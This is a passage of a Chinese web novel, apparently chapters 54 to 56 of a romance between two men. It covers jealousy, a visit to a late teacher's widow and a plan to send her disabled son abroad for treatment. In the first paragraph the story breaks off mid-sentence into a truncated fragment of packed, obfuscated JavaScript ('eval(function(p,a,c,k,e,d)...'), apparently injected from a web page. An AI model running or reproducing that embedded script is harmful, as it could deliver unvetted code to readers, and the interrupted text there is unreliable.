何湛程准备晚上去市里歇着,换了身正经西装,下午和几个领导见面,拒绝对方想等晚上在酒桌上再聊的提议,简言意骇,直接表明来意。 捐学校容易,但铲坟地不容易,其中除去常规行政流程,还涉及补偿家属精神损失、优惠政策等,要一户一户地谈,并非一朝一夕能办成的。 但领导们忙说,要说好办,也挺好办:那坟场都是老坟场了,荒郊野岭的,埋的都是记不清辈分的祖先,大部分无主坟地都无人问津,现代人都血缘意识淡薄,有能力的子孙都跑去大城市落地扎根了,谁还回头看啊?没本事的人,但凡是重视丧葬礼仪的家庭,近些年也都把亲属送去更具备风水宝地性质的城市墓场了,谁还会把家属往荒地里埋? 只有极个别的少数,要么真的很缺钱,连块墓地都买不起,要么根本不在意家属埋哪儿,何三少只要钱到位,让他们迁个坟不算难事。 何湛程说,既然要办学校,就要办个好学校,要一流的教学设备与校园环境,严苛的师资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众老头无奈叹气,本以为是趟可以游山玩水的闲差,没留意就被祖宗爷给扔这儿了。 认命地提着公文包跟着当地领导们去开会,心里只有一个念头: 赶紧办,好好办,办完了赶紧回沪上,下半辈子再也不要跑出来了。 傍晚时分,何湛程让唐丽媛去银行自助取款机兑了五万块的现钞,装在牛皮信封里,再把信封塞进买来的两箱礼品里,然后载着唐丽媛去城西刘勇家。 刘勇人已经没了,但妻子张秀芳和儿子刘毅还在。 唐丽媛说,刘勇当年做体育老师卖药没少赚钱,拿着低保,开着宝马,住的是独栋别墅,妻子穿金戴银,儿子坐智能轮椅,十年前就过上了小资生活,出车祸也是因为在外地出差的路上醉驾,据说当晚还点了小姐。 警方勘察现场时,正好接到那位等烦了要离开的小姐的电话,二话不说,飙着车就过去扫了一波黄,短短三小时,战绩卓著。 何湛程啧一声,说,他人都来一趟了,不登门拜访一下师母,有点儿说不过去。 唐丽媛很久没回老家了,自从发达后,她就把父母接到生活更加便利的大城市居住,只记得刘勇家的大致方向,但她有熟人,给了对方二百块钱,让对方提前赶去刘勇家附近,把定位发来。 熟人,是她之前朋友圈那位要去给刘勇献花的老同学,高中和戚时同一组训练的队友。 老同学的体育生涯没能坚持到最后,因为学校的跑道是土路,一训练起来就暴土尘扬的的,呼吸进肺里很难受。他体质偏弱,很快就得了肺炎,休养好后,转文化班复读了一年,考了个大专,现在留在老家开面馆做生意,起早贪黑,日子辛苦,但儿女双全,家庭和睦,唐丽媛孤身在外打拼多年,偶尔会羡慕他这样的生活,就一直留着没删。 她记得,当初训练时,戚时挨揍挨骂第一多,老同学挨骂第二多,戚时是纯傻大个儿,只要心里不介意,根本不懂皮肉之伤为何物,老同学则会在背地里骂刘勇,问候刘勇的老婆孩子和祖宗十八代,一晃多年,刘勇人没了,这与老师多年没有交集的学生听说后,热情地散播消息,要组织同学们去老师坟前献花,唐丽媛觉得,此人是有点表演型人格在身上的。 老同学见唐丽媛从一辆法拉利上下来,愣在原地半天,没敢打招呼,等她拎着个爱马仕的包朝他走来,从容地念出他的名字,他脸上一红,挠着头憨笑起来,不住口地夸她真是一点没变,从前是大美女,现在更是漂亮得不像话。 又悄咪咪地说,她老公真年轻啊,又高又帅又有气质,私下肯定也特别疼老婆吧?不然哪个有钱人会专门腾时间来给老婆的高中老师献花?怪不得她这些年隔三差五就环游世界晒照片呢,原来是嫁得好啊。 唐丽媛微微一笑,手指一根根伸出来,说:“第一,他是疼老婆,但我不是他老婆;第二,他不是来献花的,他是来做慈善的;第三,他来头不小,但我说了你也不知道,所以你就不要问东问西的了;第四,老娘出去玩儿花得都是自己辛辛苦苦赚来的钱,你敢再胡说八道,我回头把你店面给盘了,你们一家四口就等着喝西北风去吧。” 老同学被唬得紧张起来,偷瞄那人一眼,压声问:“那我咋称呼他?” 唐丽媛:“叫‘三少’就行了。” 老同学以为自己幻听,竖起耳朵,问:“啥?” 唐丽媛咬字清晰;“三、少,何——三——少。” 老同学噗嗤一乐,破口大笑,笑得眼泪都挤出来了:“哈哈哈哈哈哈什么三少四少的,你们演电视剧呢?民国戏啊?啥年代了还‘三少’!我还叫秦始皇呢!” 唐丽媛:“……” 何湛程“啪”地一声摔上车门,从后车座拎过礼品盒,走过来瞥他一眼。 老同学尴尬清咳一声。 唐丽媛头疼扶额,催着人:“走吧走吧,带路。” 老同学“呃”了声:“咱们先找个地方等会儿吧,我刚才去看过了,他家锁着大门呢,前院儿里还停了辆揽胜,应该是有客人来了,这会儿天都快黑了,他们可能是去哪儿下馆子了吧?” 唐丽媛和何湛程同时一愣,俩人对视一眼,正要说点什么,身后一道惊讶的男声传来:“程儿?你怎么来了?” 原地三人闻声回头。 戚时一身商务装打扮,黑衬衫的袖口挽到肘间,露出筋腱紧实的白皙小臂,双手推着辆智能轮椅,椅子上坐着一个枯瘦如柴的苍白男人。 男人怀里抱着一摞泛黄纸钱和沾着灰烬的苹果梨,嘴角泛着淡淡笑意,他歪头倚靠在身后人握着轮椅的手边,何湛程眼尖地注意到,那人细瘦无力的手腕上,戴着一条令他熟悉无比的银色劳力士。 旁边女人显然就是师母了,她身材矮小,红着眼眶,似乎刚哭过。一身肃穆庄严的黑色套裙,没有佩戴首饰,左右手里拎着大兜小兜的肉蛋菜奶,和身旁两个男人一家三口散步似的,朝这边街道尾巷的寂静小别墅走了过来。 何湛程突然说:“丽媛姐。” 唐丽媛一见戚时出现,整个人吓得魂飞魄散,听何湛程叫她,一个闪身就躲到他身后,低声应着:“怎、怎么了?” 何湛程阴沉着脸,抬手一指,直冲坐在轮椅上的男人,说:“你去把那块表给我从他手上扒下来。” 55.第55章 何湛程不知道唐丽媛现在和戚时的情分今非昔比,但唐丽媛非常清楚,戚时如果知道她背地里卖友求荣,一定会磨刀霍霍宰了她。 唐丽媛正琢磨着找个借口开溜呢,老同学见戚时出现,又愣了一下,挪着脚步凑过来跟她说,那个帅得过分邪门的男人,长得好像戚时啊。 唐丽媛连忙从兜里掏出两百块塞他手里,推着人就走:“那就是戚时,你嘴巴严实点儿,今天就当没见过我们这群人,回头别到处乱说。” 老同学一步三回头地扭头瞅,忍不住小声嘀咕:“真是富贵养人啊,从前也就是帅了点儿,现在往那儿一站,容光焕发的,跟个贵族似的,我都不敢认他了。” “放心,他接下来一堆麻烦事,也没空认你。” 唐丽媛本来拽着人要消失在拐角了,冷不丁身后戚时沉声叫住她:“唐丽媛,你带他来这里干什么!” 老同学见这两波人似乎要干架,知道情况不妙,连忙揣着钱就溜了。 唐丽媛堪堪转身,手指胡乱抠着墙皮,冲人尬笑:“你说的嘛,他是你的幸福,我就算告诉他也没什么的吧?” 戚时眉心一蹙,正要发飙,另一边何湛程呵斥他:“我还没问你,你不是告诉我你出差去了吗?你吃饱了撑的跑这里来干什么!” 戚时和何湛程对视一眼,从上到下将人打量一番,一眼就知道这全副武装的祖宗是跑他老家整事儿来了。 当时这么多人的面,戚时生怕他家祖宗说出什么不好听的话,面对人的质问,没敢吭声,扭头对李秀芳说:“芳姨,菜你放这儿,待会儿我拎进去,你先推着刘毅进家吧,这些都是我朋友,我跟他们说会儿话。” 何湛程冷笑一声:“谁他妈是你朋友?” 戚时无奈,给人递过去一个恳求的眼神,求着少爷千万消停点儿。 李秀芳瞥了眼何湛程,又瞄了眼唐丽媛,见二人衣着打扮都非同常人,知道他们定然来头不小,连忙应了声,匆匆将菜堆墙边,推着儿子往家走。 母子与何湛程擦肩而过。 何湛程两手插兜,抬着下巴,漠声道:“站住。” 李秀芳一顿,扭头去看戚时。 戚时皱眉:“程儿,别闹。” 何湛程充耳不闻,冷眼瞥向李秀芳,一脸不善。 “我长这么大还没听说过,原来做东道主的,还可以要客人贴身佩戴的手表啊?” 李秀芳神色尴尬,解释说:“我儿子不懂事,说这表好看,戚时就摘下来给他戴着玩儿了,等回头他睡着了,我肯定要摘下来还回去的。” “儿子不懂事,当妈的也不懂事么?你见多识广,难道不知道这一块表价值百——” 戚时忙在后面道:“不用了芳姨,刘毅喜欢就给他了。” “我现在在说话,你一边站着少插嘴!” 何湛程警告性隔空对戚时指了两下,见对方烦躁地又开始搓脸,哼一声,傲慢地冲轮椅上的男人抬起下巴,火气却是冲着李秀芳。 “戚时可不是我的什么朋友,他是我的人,戚时的东西就是我的东西,你儿子现在抢了我最喜欢的一块手表,拿来。” 李秀芳顿了顿,再一次扭头去看戚时。 戚时已然气势汹汹地迈着大长腿朝街尾那个容貌清秀的女人走去。 她无奈叹一口气,俯身拉过儿子的手,低声说:“来,小毅,咱把表还给人家吧。” 刘毅笑着抬起手,说:“妈,我早就说这表太重了,压得我手疼,你非说合适我,这下好了,惹人家生气了吧。” “呵!”何湛程冷笑一声。 李秀芳涨得满脸通红,一巴掌扇儿子肩膀上,嗔怪道:“少胡说八道,妈什么时候说过这话。” 刘毅垂下头,委屈又无奈:“都是你和爸,他才不来找我玩了。” 李秀芳又打他一下,让他别说了。 取下手表,在自己衣服上仔细擦了擦,双手奉上,递给何湛程。 何湛程从西装胸前的口袋扯出一方粉绸丝巾,铺在掌心,轻轻一抬,举过她头顶。 她顿了顿,知道他这是暗讽她高攀不上的意思,忍着屈辱,说了句“真是不好意思”,踮起脚,小心翼翼地将那块表放在他的丝巾里。 何湛程三两下叠好丝巾,将那块劳力士包起来,揣进西裤兜里,偏头问刘毅:“你今年也二十七?” 刘毅点头:“嗯。” 何湛程:“你很喜欢他?” 刘毅低头使劲抠着手指,一下变得迟钝起来:“他、他……是个好人,只有他愿意跟我玩儿。” 何湛程眯起眼:“我问你喜不喜欢他。” 刘毅轻轻点了下头,整个脑袋埋进胸前:“你不要告诉他,我这样的人……我这样的人,能再见到他就很知足了。” “说什么呢!”李秀芳皱着眉,嫌儿子丢人,几乎是飞步冲刺,推着儿子进家了。 何湛程望着那母子仓皇逃走的背影,心里一瞬间涌起浓烈的酸意。 明知没必要吃这个醋,可最近不知怎的,一切有关戚时的人和物,都令他越来越在意。 戚铭和赵博,茉莉和果汁儿,某次发现戚时手机给裴玉的备注是“小裴”,他甚至连裴玉的醋都吃上了。 何湛程挠了挠下巴,正琢磨着该怎么处置刘毅这个烫手山芋,耳边传来戚时大嗓门怒吼:“唐丽媛你少装蒜!先把老子的五十万还回来!” 何湛程脸色一臭,大步朝人走过去,横身挡在唐丽媛前,瞪他:“我让她带我来的,你冲她发什么脾气?” 戚时抬手拨开他:“程儿,这件事跟你没关系,你别管。” 何湛程莫名其妙:“你有病吧?我说是我带她来的!” 戚时视而不见,扭头瞪唐丽媛:“你家是不是住太平洋,谁他妈让你管这么宽了!” 唐丽媛脑袋瓜子被吼得直嗡嗡,忍不住顶回去一句:“我说话不管用,我还不能找个说话管用的人啊!” 戚时冷笑:“我自己的事,什么时候都轮不到你管!你少拿当过去的交情当免死金牌,我告诉你,没用!要不程儿在这儿,你看我怎么收拾你!” 何湛程眉头一皱,伸手推他一下:“戚老二你发什么疯,男人怎么能跟女人动手?” 戚时终于扭头看他,正色道:“程儿,你的旧思想也收一收,现在是新时代,男女平等。” 何湛程:“……” 唐丽媛:“……” 戚时注意到何湛程随手扔在路边的礼盒,蹙起眉:“你们来干什么?” 唐丽媛忙道:“都叫你别乱发火了,他来咱们这里捐学校,捐的还是高中呢!我们刚和教育局的人谈完,他临走前想替你探望一下你师母,你有什么好紧张的。” 戚时诧异地张了张嘴,求证的视线转向何湛程,眉头刚有松动,就见何湛程冷冷地盯着他:“你还没回答我,你来这里干什么?” 戚时别过脸,避开他眼神:“如果我不知道也就算了,现在知道了,总得过来一趟看看。” 何湛程沉声问:“为什么不告诉我,还骗我?” 戚时理直气壮:“我怕你骂我。” 何湛程冷哼一声:“你也知道你欠骂啊。” 戚时低头抠手指:“你放心吧,我没那么傻。” 何湛程猛地拔高嗓门,训斥道:“不许抠手指!” 戚时和唐丽媛吓一跳,齐齐打了个激灵。 唐丽媛揉着太阳穴,连忙站得离这俩大喇叭远了点。 戚时放下手,顿了顿,又伸过去去牵何湛程的手,望着他笑:“怎么了这是,心情不好?嗯,也对,你最近在长身体,晚饭吃了吗?是饿了吗?” 何湛程抬起另一只手,食指一下又一下戳着他眉心,威胁道:“不、许、你、再、随、便、把、东、西、送、给、别、人。” 戚时一挑眉:“为什么?” 何湛程瞥他一眼,傲然抬起下巴:“你的东西都是我的东西,你敢把我的东西送给别人,那你以后就跟别人好去吧!” 戚时懂了。 没忍住笑起来,将人搂进怀里,掌心安抚般拍着何湛程的脊背,温声哄道:“好了,我知道了,只是有些事儿放不下就是放不下,我总得做点儿什么才行。” “刘毅没做错过任何事,我从前和他在一起玩儿,他其实很聪明,我带学校的课本给他看,他翻一遍就全懂了,我就想,他不应该一辈子都坐在轮椅上。” “可是那时候我们都还小,他爸妈不想让他好,他没办法,我也没办法。” “这次来,我是想送刘毅去德国治病,那边的医院和学校都已经安排好了,但我一个外人,十年没出现,一出现就要带走人家儿子,芳姨想要点东西也没什么的。” 何湛程忍不住皱眉埋怨:“你傻不傻,她那样的人,如果真的疼儿子,早就给他请家教了,她现在巴不得你带走她的累赘,又怎么会舍不得?” 戚时不想听他说这些,侧头埋在他颈间,不停歇地小口啄着:“你别听唐丽媛胡说八道,你年纪这么小,她又是老江湖了,你别被她给糊弄了。” 何湛程被人亲得脖子痒痒,很快抵挡不住对方糖衣炮弹的攻势,轻捶他一拳,弯眼笑起来,说:“笨蛋,我看你才是个大傻瓜!” “如果我是大傻瓜,”戚时轻哼一声,“那你就是瓜农。” 何湛程也哼一声:“我才不种地呢!” 戚时又哼一声:“你不种地,那你老在我身上播种?” 何湛程笑眯眯的,飞快凑在对方嘴唇上亲了一下:“因为你特别肥沃嘛!” 俩人额头抵在一起,手牵着手,笑眼对望着。 “二哥。” “嗯?” “没什么,”何湛程冲他眨着星星眼,“就是觉得你很可爱,突然想叫你一声。” 戚时一笑,指弯刮了下他鼻梁,说:“程儿。” 何湛程一歪头:“嗯?” “乖宝儿,我也想叫你一声。” 戚时动情地注视着他,眼底柔情几乎溢出水来。 何湛程嘴角翘起,倾身凑在他耳畔,轻轻吹了口气,笑声问:“二哥,你在想什么啊?” 戚时情难自禁,忍不住咽咽喉咙,双手捧起何湛程愈发凌厉的脸庞,紧紧地吻在他的嘴唇。 “我在想,我们程儿现在越来越帅了,真让我害怕。” “唔——!你有什么好怕的?” “怕你被别人抢走。” 在一旁看半天的唐丽媛:“…………” 眼见着天色已晚,繁星闪烁,这俩个摞起来都超过一层楼高的大男人,就这么旁若无人地搂抱在一起,毫不顾忌地站在大街上腻歪,真不害臊!! 但是! 他们可以不害臊,她已经要看害臊了! 唐丽媛红着脸出声打断:“喂,你们二位!我找人带路花了四百块钱呢,咱们到底进不进去啊!” 他们这才注意到旁边有人。 终于不好意思起来,戚时低头清咳一声,何湛程扭过身拨弄头发,各自去捡地上的肉蛋菜奶和礼盒,不约而同一抬脚,十分默契地都迈出了右腿,又没忍住对视一笑。 唐丽媛无奈拖长声音:“喂——” “知道了知道了!”戚时不耐烦地瞪她一眼:“你还敢提意见?你给老子等着,我回头再找你算账!” 唐丽媛自动就跑过去和何湛程站一起,殷勤帮他拎东西,说:“三少,我来。” 戚时冷哼一声:“狗腿子!” 何湛程把东西交给唐丽媛,自己又走到戚时身边,双手去接他手里的大兜小兜,说:“二哥,我来。” 戚时一笑,轻轻避开:“没事,怎么能让你拿。” 何湛程抬眼看他:“怎么不能让我拿?” 戚时笑:“你跟我在一起,我没有让你做事的道理。” 何湛程盯他一眼:“你还把我当外人?” 戚时挑了挑眉:“怎么会,我只是想给你最好的。” 何湛程来了脾气,撇下人转身就往院子里走,头也不回道:“那好,那你就自己拎着吧!” 戚时莫名其妙,不懂何湛程怎么就发火了,不过少爷一向喜怒无常的,想必过会儿自己就好了。 而且—— 戚时瞥了眼何湛程停在路边的那辆银色法拉利,又想起何湛程前几天回家那一晚,停在他们家院子里那辆黑色的迈巴赫,这些都是何湛程自己的车,不知道什么时候运来燕京的,但这些车戚时从未见过,它们也并没有停在他别墅的车库里。 这就意味着,何湛程在燕京也有住所。 这个住所还不让他知道。 明明是何湛程在把他当外人。 晚八点,李秀芳做了一桌子菜。 装潢富丽的小洋楼,金色华丽的墙纸,璀璨水晶吊灯照射出暖亮的光,客厅空气中飘着家常炒菜与排骨浓汤的香味,难得的热闹温馨。 热气腾腾的美味佳肴,四方形的饭桌,五个人围坐。 李秀芳和儿子坐一边,何湛程不想挨着母子俩任何一个人,一屁股就坐在了对面主位上,并勒令戚时不许挨着刘毅坐,戚时于是坐在另一边,唐丽媛正好挨着何湛程和刘毅坐了,省得戚时挤兑她。 众人碗筷都是新的,戚时专门开车跑去外面单买的,因为少爷挑剔,绝不用别人家的餐具,哪怕女主人再三解释这几套餐具是新拆开的,没人用过,少爷眼皮也不抬一下,一句嫌弃又犀利的“那也已经沾上你家的味道了”,把人堵得说不出话来。 本来戚时就准备给他家少爷单独买一套餐具,少爷冷笑,说你既然这么喜欢拎东西,干脆买一箱回来给你师母家里放着吧。 李秀芳就在旁边眼巴巴看着,戚时无可奈何,只好点头。等他搬着五十来斤重的、装碗盘的木箱子进家,何湛程砰地一声把客厅门关上,说要考验下他的臂力,让戚时搬着箱子在门外举了近两个小时。 戚时也没问少爷今天搞得一出又一出的,到底为啥生气? 一声不吭,只管听话照做,最后何湛程忍不住心软,见戚时也不反抗,他透过猫眼,见那人小臂上的青筋都绷红了,终于舍得给人把门打开了。 李秀芳当时正找唐丽媛套话,想知道戚时和这位派头十足的小年轻是什么关系? 唐丽媛装傻充愣敷衍半天,李秀芳正要换个路数接着问,就见戚时进屋一放下箱子,拎小鸡似的,一把将小年轻给拖去后院了。 那俩人磨蹭了半个小时才回来,进屋时各自衣衫不整,戚时黑衬衫的领口绷坏了一颗纽扣,腰带也松了,小年轻的嘴唇肿得出奇,说喉咙干,无头苍蝇一样绕着满屋子到处找水喝,戚时随手把茶几上自己中午喝过的矿泉水递给他润嗓子,而那位自称有严重洁癖的小年轻,居然想也不想就对嘴喝了。 喝完,小年轻伸手挽住戚时的胳膊,歪头靠在他肩膀上,懒洋洋地说了句:“困了。” 戚时一脸笑意地揉了两下他脑袋,声音哄小孩似的,很轻:“今天累着了,先吃饭,晚会儿去酒店歇着。” 李秀芳愣在原地大半天,知道自己没有打听的必要了。 “他们很般配。” 刘毅很坦然地接受了这件事,偷偷拽李秀芳的衣角,求她以后不要再跟戚时说“等我以后没了,我们家小毅就要靠你了”之类推卸责任的话,他现在已经很没尊严了,不想再丢人了。 李秀芳嫌儿子没出息,但那位西装革履宛若王子一样的男人实在太强势了。 霸道又毒舌,浑身散发着一股子与生俱来的傲慢与骄狂,这分明在她的家里,他还跟个皇帝一样,戚时唐丽媛这些人都是腰缠万贯的大老板,男男女女的,全都围着他一个人转,可见对方来头确实不小。 李秀芳心里清楚自己惹不起这人,她如果太不识好歹,反而会把戚时给得罪了,因此在晚饭间安分不少,没有像中午那样,哭哭啼啼地拉着戚时的手,骂完那个成天吃喝|嫖|赌不顾家的老公,又埋怨起一无是处都大把年纪了还要靠自己照顾的废物儿子。 下午她领着戚时去坟头上香,看出戚时对他们家还留着几丝情分,她了解戚时这孩子只是外表硬悍,内心脆弱,这才想着把儿子托付给他。 她还记得戚时第一次上她家过年,这么高大、英俊、健康又活泼的小男孩儿,说话爽朗大方,一进门就跑来跟她和小毅打招呼,笑起来像一个明媚灿烂的太阳,一下子就驱散了笼罩在他们家十多年的阴霾,别说小毅了,连她都要跟着精神恍惚一下。 小男孩儿吃饺子的时候,几乎整颗头都埋盘子里,强忍了半天,还是落下了泪,滴滴答答,落在醋碗里,被他们发现了,爽声笑着,干脆抬起头,一边抬袖抹眼泪,一边大声嚷嚷着都是被热饺子给烫哭的,她看着既心疼,又对他有几分莫名的恨。 戚时说要把小毅送去德国,不用担心语言不通,他会派专业翻译过去陪护,等有空了,他也会亲自去探望,她就以为戚时是要帮她和儿子移民去欧洲了。 心里滚过一阵狂喜,她感动得簌簌落着泪,她真不知该用何种语言对他诉说自己的愧 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“哦对了,你家里也有保姆吧?多少钱一个月啊?她做饭肯定比我做饭好吃吧?” “还有你干爹给你拿的那些药,是赛前提神的吧?不过我听说不管什么药,只要吃多了就会有催眠的功效,现在寻常药店都不让随便卖安眠药,你如果睡不着的话,要不试试多吃点你干爹的那种药?” “你听干妈的,吃完了药,盖上被子蒙头一睡,很快就会睡着了!” 男孩儿懂得了。 他安静了一会儿,然后冲她点了点头:“行,我知道了。” 微风席卷着沙土,吹过城郊荒地的坟场。 简陋的墓碑前,鲜果肉菜,两瓶上等茅台,漫天火光烧燎着天边赤紫色的晚霞,男人西装笔挺地立在坟前,嘴角叼着未燃灭的烟,眯眼仰脸眺望着远方淡青色的山峦,庄肃而冷峻。 他身前化为余烬的纸灰,接连不断地落在她飘扬的黑色裙角,等一支烟抽完,他转过身,用一种很平淡的语气,说他只会带走小毅,他和她的联系方式,就不加了。 她巨大的欣喜全化作一场空,嘴唇嗫嚅着,又不再敢向他提任何异议。 她知道他已经不再是当年恳求她收留的孤儿了。 晚饭间,李秀芳殷勤地给戚时夹菜,不住口地挽留他,希望他今晚就在客房住下。 她打算的是,等吃完饭唐丽媛和小年轻都走了,她再拉着戚时唠会儿家常,她知道戚时吃软不吃硬的性子,只要他肯留下,她绝对能说动他也给她接去欧洲。 数十年如一日待在这个小破县城,早出晚归辛勤劳作,又要工作又要顾家,她的青春和自由、她的梦想和远方,她所有的一切全奉献给了这个家,她一辈子守着自己的废物儿子和暴|力|狂老公,曾经那个温柔、端庄的自己,随着时间的流逝,早就彻底死在了这栋华丽漂亮到令旁人艳羡、又令她充满痛苦的大房子里,她变得愈发善妒、歇斯底里,她早已经要疯了! “来,尝尝这个。”李秀芳将一盘子辣炒鸡爪放到戚时面前,笑道:“你最爱吃的,我年纪虽然大了,可还没忘呢!” 戚时在男朋友面前有偶像包袱,不想啃得满嘴是油,正要推辞说“今天不吃”,旁边男朋友就挑筷子给他夹了个鸡爪,说:“之前裴玉说你喜欢啃这玩意儿,我还不信,原来你只是不在我面前吃啊?” 戚时讪讪望他:“你生气了?” 何湛程莞尔一笑:“哪儿能呢,不就是个鸡爪子么?” 下巴一抬,催促着:“快吃吧,师母专门给你做的菜,别浪费。” 唐丽媛见势不太妙,说了句“我吃饱了,你们聊,我去外面消消食”,放下碗筷,揣着手机就推门出去了。 戚时听出来何湛程是在阴阳怪气,但又想不通何湛程怎么突然小气成这样。 低头开始啃鸡爪,没咬两口,就听旁边人温声细语地问:“好吃吗?” 戚时点点头:“好吃。” 旁边人又问:“腥吗?” 戚时摇摇头:“不腥。” 旁边人一笑:“我以为你喜欢吃腥的呢。” 戚时也笑:“怎么会,这都是在超市买的处理好的肉,怎么会腥?” 旁边人轻轻“哦”一声,声音甜甜地说:“你那天和赵博去外面吃夜摊,我还以为你是嫌家里的肉吃腻了,才会跑出去偷腥呢,哈哈哈。” 戚时吓得头皮发麻,舌头直接咬出了血,一脸震惊地抬头望他:“你怎么知道?!” 这事连茉莉都不知道! 而且他跑那么远,去的还是一个何湛程根本没去过的地方,这人究竟怎么知道的? 戚时愕然怔在原地,努力回想他那晚回家的情景: 当时他先把车停院子里,果汁儿扑上来找他,他逗了它几分钟,然后何湛程在楼上听到动静,开窗跟他打了声招呼,也一溜烟飞跑下来找他。 何湛程蹭过来想抱他,他嫌自己一身油味儿,就躲开了,跟何湛程说晚上去吃夜摊了,等他洗完澡他们再抱。 何湛程就黏在他后面,好奇问他一个人去的嘛?他说是。何湛程又问他,一个人为什么还回来这么晚啊?他说,因为距离远。 他边说边走,没敢立刻拿手表,只是从后备箱拎出赵博送他的那箱酒,扯下红塑料袋扔掉,一转头,见何湛程一身薄薄的蚕丝睡衣,皱眉说了句“怎么穿这么少就跑出来,还不快回屋,不然冻着你了”,何湛程突然就冷了脸,扔给他一句“去死”,头也不回地跑走了。 “跑走了”的意思是,那兔崽子衣服都没换,干脆利落地回卧房拿了车钥匙和手机,开着他那辆大G就一头扎进大道尽头处的黑夜里了。 戚时愣在原地好半天没反应过来,以为何湛程就因为刚才自己的语气凶了点儿,这就又不高兴了。 但总因为一点鸡毛蒜皮的小事就去哄这位千金大少爷,他难免有点不耐烦,何湛程车技不错,他也就没追,只给对方打了电话过去。 他说,他明后天去外地出差,让程儿消气了就赶紧回家休息;夜里冷,程儿穿得又薄,要人记得把车上的暖气打开;如果暂时不想回来也没关系,程儿要在外面好好照顾自己,钱不够要及时跟他说,不要再找何老大要零花钱了,无论程儿花多少,他戚时这里都管够;还有,程儿一定得住好的酒店,千万不要委屈自己,但是酒吧夜店不允许去,路人帅哥美女也不许勾搭,否则让他知道了,他一定会扒了他的皮。 何湛程中间不耐烦挂了好几次他电话,戚时是连续打了七八个电话才交代完。 最后,他说完,忍不住补充一句“程儿,我刚才没别的意思,就是怕你冷,说话有点着急了”,何湛程也像是突然泄气了,回他一句“知道了”。 夜里凌晨两点半,卧房空荡寂寞,他辗转反侧睡不着,翻箱倒柜地找安眠药,但那些药不知道什么时候让何湛程全给他扔了,他烦躁躁地抓着头发,正准备去楼下看会儿球赛把这晚熬过去算了,拧着把手一拉开门,就见何湛程光着脚丫子站在他卧室门口,正是个抬手敲门的姿势。 他的程儿满身寒气,冻得脸都苍白了。 他愕然愣在原地。 何湛程臭着一张脸,问他:“又要干嘛去?” 他浑浑噩噩的,说:“睡不着,看会儿球赛。” 何湛程将衣服脱掉,一件件全摔他脸上,将他逼回了房间,问:“看球赛还是看我?” 他哪里能禁受得住这? 猛地一把将人抱起,心里竟有种失而复得的喜悦,说:“当然是你!” 一番几乎撼动整栋楼的缠绵云雨,他简直要爱死这个任性妄为又风骚无限的小少爷了。 事后,他困倦地趴在少爷的胸膛,对方似乎也有心事,安静的脸庞,眼神黯然,连呼吸都是沉闷闷的。 那人勾挑着指尖,有一下没一下地拨弄着他的额发,见他逐渐熟睡了,用一种很轻很轻的语调,对他说: “戚时,如果哪天谈腻了,你要先和我说了再去找别人,我不会拦着你的。” “戚时,臭二哥,我也有很多人追呢。” “我数三个数,如果你不说话,我可就默认你只会爱我一个人了啊。” “三。” “二。” “一。” 那人似乎轻声一笑,替他遮好被子,像一场自导自演戏剧的落幕,缓缓俯身在他眉心落下一吻。 “戚时,我知道了。” “谢谢,我也很爱你。” 56.第56章 那天在御江天府,何湛程下楼走出小区,隔着一片葱郁茂盛的绿化带,对面楼里走出来一个高大白净的男生,手上拎着箱东西,他一眼就认出是赵博了。 赵博骑着辆山地车,手上拎着件二十来万的红酒礼盒,浅蓝色衬衫在晚风里飘着,这位住高档小区的富家公子慢悠悠晃荡在路上,一张帅脸笑得挺美。 何湛程不屑轻嗤一声。 赵博骑车不老实,眼风四处乱瞟,很快也认出了他,但不太确定,那小子隔着老远,朝他喊一声:“湛程!嗨!是你吗?” 何湛程脸色更臭。 谁教他这么称呼自己的? 没大没小! 何湛程装聋听不见,脚跟一拐,“嗖”的一下,闪身躲进一条隐秘在花丛里的小路,匆匆忙忙从侧门走了。 等出了小区,漫步走在大街上,何湛程猛然回过味儿来—— 妈的,他可是正宫! 正宫不小心撞上男朋友的暧昧对象,他跑什么跑? 见着小三儿就落荒而逃,这是他何老三沉浮风月多年的风格么? 该跑的人是那个臭小子才对! 而且,跟他何湛程比起来,赵博有什么好的? 那小子一没他有钱,二没他衣品好,三不会撒娇装可爱,除了比他年轻个两三岁、是张毫无恋爱经验的白纸之外,赵博有什么好的? 可是第二天晚,看到戚时手里提着赵博那箱红酒,装得跟个没事儿人一样对他撒谎,何湛程就绷不住了。 他跑得很快,像一只仓皇逃窜的老鼠,连鞋都跑没了。 握着方向盘的双手在颤颤发抖,他两眼通红地踩着油门飙驰在深夜的公路上,满脑子都是赵博那张陷入爱情的笑脸。 那才是真正的清纯少年。 干净,阳光,帅气,一尘不染。 正要掏手机给沪上那帮狐朋狗友们传个信儿,让那群人赶紧包个热闹点儿的夜场给他接风,戚时的电话打来,老太婆念经似的,絮絮叨叨嘱咐了他一堆废话,半句都说不到点子上,他烦得不行,就又折了回去。 他想的是,回去后先把人新装修好的别墅给砸个稀巴烂,再拎着戚时的脑袋敲碎楼下新铺好的大理石地板,什么自我感动式的“送你的同居礼物”,什么虚情假意的“我好想和你有个家”,什么狗屁的誓言、什么说过就忘的承诺,一个随时都会发情的狗男人的胯|下能诞生什么深刻的爱情? 如果不是戚时主动约见面,赵博绝对不会是那样一个表情。 不管出于什么理由,只要戚时背着自己和一个暧昧对象偷偷见面,还和那个人做不曾和自己一起做过的事,就是对他的背叛! 可等他一回到家,他看到戚时开门时憔悴疲惫的脸,看到对方见到自己后眸底一刹间迸射出的喜悦,他又觉得自己好爱他。 戚时连挨操的时候都不忘了帮他暖脚,他还有什么好说的? 本打算这事就此掀过,一见饭桌上戚时开始啃鸡爪,何湛程火气蹭地一下就上来。 想都不用想,戚时那一晚上肯定也和赵博一起啃鸡爪了! 他就是忍不住要闹一番。 他非得让戚老二这只傻鸟知道自己真正在气什么。 戚时恍然,他同样也醋味十足地跟何湛程解释那两只手表的事。 “茉莉说那手表会电人,是许若林送你的吧?” 何湛程一脸坦然:“不是他送的,是我拿一辆奔驰换来的,有买有卖,怎样?” 戚时皱眉盯他:“你跟他还有联系。” 何湛程本想故意气人一句“有”,话到嘴边,又老实回:“没有,早断干净了。” 戚时松一口气,嘴角翘起,正要在桌下牵他手,冷不丁又听何湛程对他冷嘲热讽: “不然呢?谁跟你似的,吃着碗里的,看着锅里的,今晚哄着家里的,明晚又陪外面的,不是说工作很忙么,我倒没想到你下班比上班还忙,真是辛苦你了。” 戚时:“……” 还是握住了身旁人的手,耐着脾性跟对方商量道:“那表,等咱们回去后就扔了吧,以后你有什么问题直接问我就好了,我们之间不需要借助那种东西。” 